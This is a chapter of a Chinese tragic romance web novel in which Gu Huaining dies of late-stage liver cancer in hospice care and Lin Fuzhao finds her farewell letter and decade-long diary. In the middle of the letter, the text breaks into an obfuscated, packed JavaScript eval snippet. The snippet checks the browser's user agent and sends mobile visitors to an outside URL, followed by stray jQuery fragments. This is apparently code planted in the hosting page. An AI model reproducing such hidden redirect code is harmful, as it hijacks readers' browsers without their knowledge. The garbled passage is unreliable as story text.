【第三章·春宴终曲（上）】
窗外下着雪，一层白，一层冷，落在榆树枯枝间，像骨上新添的霜。顾怀宁躺在病床上，氧气罩罩着面部，呼吸薄如蝉翼。医生已经把她转到了临终关怀病房，不再劝治疗，只维持舒适。
林芙昭站在窗边，指尖抓着玻璃边缘，盯着雪落一阵又一阵，没人喊她，没人劝她走，她却一步也不挪。
怀宁的病已经不是秘密了——肝癌晚期，拖了很久，顾家没钱治，她也没想治。林芙昭直到收到医院病危通知才知道她已经瘦得只剩一副骨架，连呼吸都不完整了。
是她签的字，把人从普通病房送进这最后的空间。
顾怀宁说：“我累了。”
她说得太平静了，像说今天晚饭吃什么，像她人生中所有重要选择一样，不跟人商量，不求安慰，不给依靠。
林芙昭冷着脸，看着怀宁用平静得像早死早超生的语气，嘱咐护士收拾东西，把银行账户交接清楚，给她一个个写委托书。她甚至订好了自己的火化服务，甚至在医院附近挑了一家纪念园，甚至提前写好了给林芙昭的遗书。
“你知不知道你现在的样子多像顾钦。”林芙昭终于忍不住，说出口。
怀宁闭眼，嗓音低：“他也活得很累。”
“可你不一样。”她忍了忍，声音还是颤，“你不是他，你不是顾家的人。”
怀宁没有回答。
——
那封遗书是她第一天住进这个病房就交给林芙昭的。
信封不厚，但她知道顾怀宁花了很久才写出来。她认得那行字，是她十七岁那年从后门逃课被抓时，怀宁替她写的检讨字迹，笔锋干净，太正经。
林芙昭没拆，她不敢。
她害怕信里写的，是彻底断绝的告别。她害怕那个她终于学会不压抑情绪、不掩饰喜欢的人，却提前结束了她的人生。
怀宁只轻声说了一句：“你以后会需要它的。”
这话太轻，却像个缓慢咬住心脏的锯齿，一点点割。
——
林芙昭留在病房的时间不多，她每天会处理顾家的烂摊子，尤其是那些曾经以“家族”为名逼迫怀宁的叔伯亲戚——她一个个清算，每天像在开战。
有人问她：“你为什么突然管起顾家的事？”
她笑一声：“因为顾怀宁不会了。”
所有的文件、合约、证据，从一份份账本到法务函件，她都逼人签字、拆分、退位。顾家分崩离析，仿佛整个家族都搭在一个女人的肩上，如今她倒了，整个架构轰然崩毁。
这场清算没让她有任何快意，她只是每天忙完回医院，看怀宁，坐在她床边，看她一天比一天瘦，骨头都要顶破皮肤。
那天是怀宁自己要求止痛药加量的。
“林芙昭。”
她突然唤她的名字，像夜里梦魇醒来前最后一声求救。
林芙昭把她的手捧进掌心：“我在。”
“我们以前，有一次吵架，吵完你去喝醉了。”怀宁喘了口气，“你那晚吻我。”
“我记得。”
“你那天说了一句我一直记得的话。”
林芙昭喉咙发紧：“我说什么？”
怀宁闭着眼，嘴角却带笑：“你说‘你要是真不喜欢我，就别让我看你’。”
林芙昭攥紧她的手，几乎捏疼了那骨节分明的指头。顾怀宁只是轻轻叹了口气：“我骗了你。那时候我已经喜欢你很久了。”
林芙昭哽住。
“我十年前就喜欢你了。”
她声音已经虚得像雪地上的风，轻得要飞散。
“可我不知道你能不能爱我。我怕你只喜欢我能为你做事、能不计代价退让的样子，我怕你不爱我一旦不顺从了，一旦站起来了。”
林芙昭终于忍不住哭了。
她从来没有像现在这样心疼一个人，心疼得像心脏被揉碎，血往回涌都疼。
怀宁像最后一点火焰，用尽力气燃尽自己的话。
“我这辈子都在跪着爱你。”
她像最后一句咒语，把林芙昭的心定死在这张病床前。
林芙昭哽着声音：“阿宁，你…你再说一遍。”
她想听她再说一遍，哪怕是幻觉，哪怕是梦。
可怀宁闭着眼，像睡着了。
【第三章·春宴终曲（下）】
雪停的时候，是第三天清晨。
林芙昭凌晨四点抵达医院，额角沾着未干的雪水，手里攥着一叠文件——是怀宁最后一处不愿转让的房产，她终于把它护住了，不让顾家插手。她以为自己能赶上，至少，在她“解决好一切”的那一刻还能看她一眼。
病房空着。
她进去的时候，白床单已经铺上，窗沿上的百合花静静垂头，像跪下的形状。
林芙昭脚步顿住，手里的文件啪一声掉在地上，散了一地。那是她护她的最后一件事。
“你不是说要等我回来的吗？”
她声音轻极了，像在跟谁说梦话，但整张脸慢慢扭曲，红得发白。
“不是说……不急的吗……不是答应我、等我的吗？”
护士赶紧进来，递给她一张纸，说：“这是她交代我们最后转交的。”
林芙昭双手颤抖着接过去。
那是一封信，和一本日记。
信不长，只寥寥几句话：
芙昭：
我知道你会来，我也知道你会迟到。你总是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835776|175674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样，一切都收得很好，除了我。
我不怪你，我只是太疼了，想早点结束。
如果来得及，就抱我一下。你从来没有认真抱过我。
——怀宁
日记更薄，是怀宁十年前开始写的。
第一页是高中的时候，林芙昭在操场上打球，怀宁坐在一旁写下：
她真的很漂亮，不知道她累的时候，会不会也愿意靠着我睡一觉。
再往后是林芙昭刚进家族时说“你是我的人”，怀宁写：
她说我是她的人，可我一直知道，我不是。
还有林芙昭喝醉那晚吻她，说喜欢她，第二天却逃开不提。
她醉了才肯说喜欢，那她醒着的时候，是不是从来不敢面对？
林芙昭一页页翻，手指僵硬，泪水一滴滴掉落到字上，晕成一团。
她才明白，从头到尾，只有怀宁在爱。
爱得太久，太低，太小心。
她跪着，爱了她一辈子。
可她一生都在等她站起来。
她最后终于没有抱到她。
那天她抱着顾怀宁的遗体，跪在病床前，手指穿进她冰冷的发里，哭得快昏过去。她从来没有哭过那么多次，哪怕当初被林家丢去国外，哪怕顾家陷害她，哪怕所有人都背叛她。
她只哭顾怀宁。
顾怀宁火化的那天，林芙昭站在炉前，穿着黑色长大衣，一句话没说，只看着那火烧尽了她所有想说却没来得及说的温柔。
她没有通知任何人，只带着怀宁选的那束百合，送她入火。
“你总说我站得太高，看不到你。”
“可你站起来看看我一次啊。”
她轻轻说着，像和骨灰说情话。
从那天起，她像变了一个人。
她开始独居，搬去了郊区一个远离市区的房子，窗外种着榆树——是怀宁最喜欢的那种。
她把顾怀宁的照片放在书桌最中间，每天都会坐在那儿写信，写得像她还在一样。
她也不再接受任何感情，甚至连合作都只挑她生前签过的公司。
她的头发，在送别那天夜里，全白了。
医生说是精神刺激，她说没事。
她说她还活着就够了。
多年后，有人来采访她，问她是不是还在怀念一个人。
林芙昭坐在屋内，百合依旧，树未老。
她没有说话，只把一本旧日记拿出来，缓缓翻开：
第一页，写着——
“她一生跪着爱我，而我一生都在等她站起来。”
她眼底没有泪，只有安静的疼。
像春宴已散，余香尚在。
**全文完**